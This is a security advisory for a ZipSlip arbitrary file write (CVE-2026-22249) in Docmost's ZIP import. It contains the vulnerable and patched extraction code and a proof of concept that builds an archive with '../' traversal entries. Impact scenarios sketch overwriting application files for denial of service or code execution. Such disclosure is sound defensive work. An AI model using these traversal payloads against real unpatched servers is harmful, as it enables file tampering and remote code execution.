..

CVE-2026-22249 - Arbitrary File Write via Zip Import Feature (ZipSlip) in Docmost

Overview

Docmost, an open-source collaborative documentation platform, is vulnerable to arbitrary file write through its ZIP import feature. Versions greater than v0.21.0 and below v0.24.0 are affected by this vulnerability. The issue stems from insufficient validation of filenames during ZIP extraction, allowing attackers to write files to arbitrary locations on the filesystem through path traversal. Successful exploitation can lead to application denial of service or remote code execution. The vulnerability was patched in version v0.24.0.

Root Cause Analysis

Docmost is written in TypeScript using Node.js and the yauzl library for ZIP file extraction.

Entry Point - ZIP Import Feature

The application provides a ZIP import functionality that allows authenticated users to upload and extract ZIP archives containing documentation files.

Vulnerable Code

File: apps/server/src/integrations/import/utils/file.utils.ts
Function: extractZipInternal()
Lines: 109-118 (v0.23.0)

// Normal extraction
zipfile.readEntry();
zipfile.on('entry', (entry) => {
  const name = entry.fileName.toString('utf8'); # <-- [1]
  const safe = name.replace(/^\/+/, ''); # <-- [2]
  if (safe.startsWith('__MACOSX/')) {
    zipfile.readEntry();
    return;
  }

  const fullPath = path.join(target, safe); # <-- [3] VULNERABLE

  // Handle directories
  if (/\/$/.test(name)) {
    try {
      fs.mkdirSync(fullPath, { recursive: true }); # <-- [4]

Critical Code Flow Analysis

Line 109: Entry point - ZIP file entries are processed in a loop

Line 110 [1]: Extract filename from ZIP entry without validation

const name = entry.fileName.toString('utf8');

The filename is decoded from UTF-8, but no validation is performed on the decoded string.

Line 111 [2]: Insufficient sanitization - only removes leading slashes

const safe = name.replace(/^\/+/, '');

This operation:

  • ✓ Removes leading forward slashes (/)
  • ✗ Does NOT validate or sanitize path traversal sequences (../)
  • ✗ Does NOT prevent absolute paths on Windows (C:\)
  • ✗ Does NOT check for special directory references

Line 118 [3]: Vulnerable path construction

const fullPath = path.join(target, safe);

The path.join() function:

  • Combines the target directory with the “sanitized” filename
  • Does NOT prevent path traversal - it simply concatenates paths
  • Example: path.join('/app/uploads', '../../tmp/evil.js')/app/tmp/evil.js

Line 123 [4]: File system write with traversed path

fs.mkdirSync(fullPath, { recursive: true });

Files are written to the calculated path without verifying it’s within the intended directory.

Vulnerability Root Cause

The fundamental flaw is the absence of canonical path validation after path construction. The code assumes that:

  1. Removing leading slashes is sufficient sanitization
  2. path.join() will prevent path traversal (it doesn’t)
  3. The ZIP library (yauzl) validates filenames (it doesn’t by default)

Attack Vector Demonstration

Malicious ZIP Entry:

Filename: ../../../../../../tmp/poc.txt
Content: pwn

Code Execution Flow:

// [1] Extract filename
name = "../../../../../../tmp/poc.txt"

// [2] "Sanitization" (ineffective)
safe = "../../../../../../tmp/poc.txt"  // No leading slash, so nothing removed

// [3] Path construction
target = "/app/uploads/workspace-123"
fullPath = path.join(target, safe)
// Result: "/app/uploads/workspace-123/../../../../../../tmp/poc.txt"
// Resolved: "/tmp/poc.txt"  <-- Escaped target directory!

// [4] File write
fs.createWriteStream("/tmp/poc.txt")  // Arbitrary file write achieved

The Fix (v0.24.0)

File: apps/server/src/integrations/import/utils/file.utils.ts
Lines: 112-127 (main branch)

zipfile.on('entry', (entry) => {
  const name = entry.fileName.toString('utf8');
  const safe = name.replace(/^\/+/, '');

  const validationError = yauzl.validateFileName(safe); # <-- [NEW]
  if (validationError) {
    console.warn(`Skipping invalid entry (${validationError})`);
    zipfile.readEntry();
    return;
  }

  if (safe.startsWith('__MACOSX/')) {
    zipfile.readEntry();
    return;
  }

  const fullPath = path.join(target, safe);

  const resolved = path.resolve(fullPath); # <-- [NEW]
  const targetResolved = path.resolve(target); # <-- [NEW]

  if (!resolved.startsWith(targetResolved + path.sep)) { # <-- [NEW]
    console.warn(`Skipping entry (path outside target): ${safe}`);
    zipfile.readEntry();
    return;
  }

Fixes Applied:

  1. yauzl.validateFileName(safe): Uses library’s built-in validation
  2. path.resolve(fullPath): Resolves to canonical absolute path
  3. !resolved.startsWith(targetResolved + path.sep): Ensures resolved path is within target directory

Proof of Concept

Step 1: Create Malicious ZIP Archive

# Create legitimate file
$ echo 'Hello World' > ZIPSLIP.md

# Create malicious payload
$ echo pwn > poc.txt

# Create initial ZIP
$ zip zipslip.zip ZIPSLIP.md

# Use slipit tool to add path traversal payload
$ uvx slipit --archive-type zip --prefix tmp --separator / zipslip.zip poc.txt

# Verify the malicious archive structure
$ unzip -l zipslip.zip
Archive:  zipslip.zip
  Length      Date    Time    Name
---------  ---------- -----   ----
       12  2025-10-23 14:53   ZIPSLIP.md
        4  2025-10-23 14:55   ../../../../../../tmp/poc.txt
---------                     -------
        16                     2 files

Step 2: Upload via ZIP Import Interface

  1. Navigate to Docmost import feature
  2. Upload the crafted zipslip.zip file
  3. Application extracts the archive without validating filenames

Step 3: Verify Arbitrary File Write

# Verify file was written outside intended directory
$ docker exec -it docmost ls -al /tmp/
total 16
drwxrwxrwt    1 root     root          4096 Oct 23 12:03 .
drwxr-xr-x    1 root     root          4096 Oct 23 12:02 ..
-rw-r--r--    1 node     node             4 Oct 23 12:03 poc.txt

# Read the malicious file
$ docker exec -it docmost cat /tmp/poc.txt
pwn

Result: File poc.txt was written to /tmp/ instead of the intended upload directory /app/uploads/workspace-123/.

Impact Scenarios

Scenario 1: Application Denial of Service

Malicious filename: ../../../../../../app/src/server.ts
Effect: Overwrites main application file, crashing the entire service

Scenario 2: Remote Code Execution

Malicious filename: ../../../../../../app/src/malicious.js
+ Overwrite: ../../../../../../app/package.json (to require malicious.js)
Effect: Achieves code execution when application restarts or module is loaded

Disclosure Timeline

  • 2025-10-23: Vulnerability discovered by @RamadhanAmizudin
  • 2026-01-15: Security advisory published (GHSA-54pm-hqxm-54wg)
  • CVE-2026-22249: Assigned
  • v0.24.0: Patched version released

References

  • GHSA-54pm-hqxm-54wg
  • CVE-2026-22249
  • CVSS Score: 7.1 (High)
  • CWE-22: Improper Limitation of a Pathname to a Restricted Directory (‘Path Traversal’)

Notes

Disclosure: This advisory was generated by using AI assistance (Claude Sonnet 4.5) based on the official security advisory GHSA-54pm-hqxm-54wg and actual source code from the Docmost repository.

The prompt:

write advisory for this issue https://github.com/docmost/docmost/security/advisories/GHSA-54pm-hqxm-54wg

Context: Write a root cause analysis in markdown using the same style as this blog post 
https://rz.my/2024/06/cve-2023-51803-arbitrary-file-upload-in-linuxserverio-heimdall.html

Requirements:
- Remove remediation section
- Remove common mistake from root cause
- Add real root cause analysis (examine original code before patched version)
- Add patched version in overview